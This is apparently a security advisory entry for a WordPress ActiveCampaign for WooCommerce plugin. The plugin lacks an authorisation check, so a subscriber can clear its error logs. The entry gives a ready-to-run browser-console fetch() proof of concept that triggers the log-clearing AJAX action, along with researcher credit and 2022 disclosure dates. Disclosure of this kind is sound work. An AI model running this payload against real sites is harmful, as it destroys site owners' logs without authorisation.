The plugin does not have authorisation check when cleaning up its error logs via an AJAX action, which could allow any authenticated users, such as subscriber to call it and remove error logs.
Run the below command in the developer console of the web browser while being on the blog as a subscriber user: fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'action=activecampaign_for_woocommerce_clear_error_log', redirect: 'follow' }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
Lana Codes
Lana Codes
Yes
2022-12-16 (about 5 months ago)
2022-12-16 (about 5 months ago)
2022-12-20 (about 5 months ago)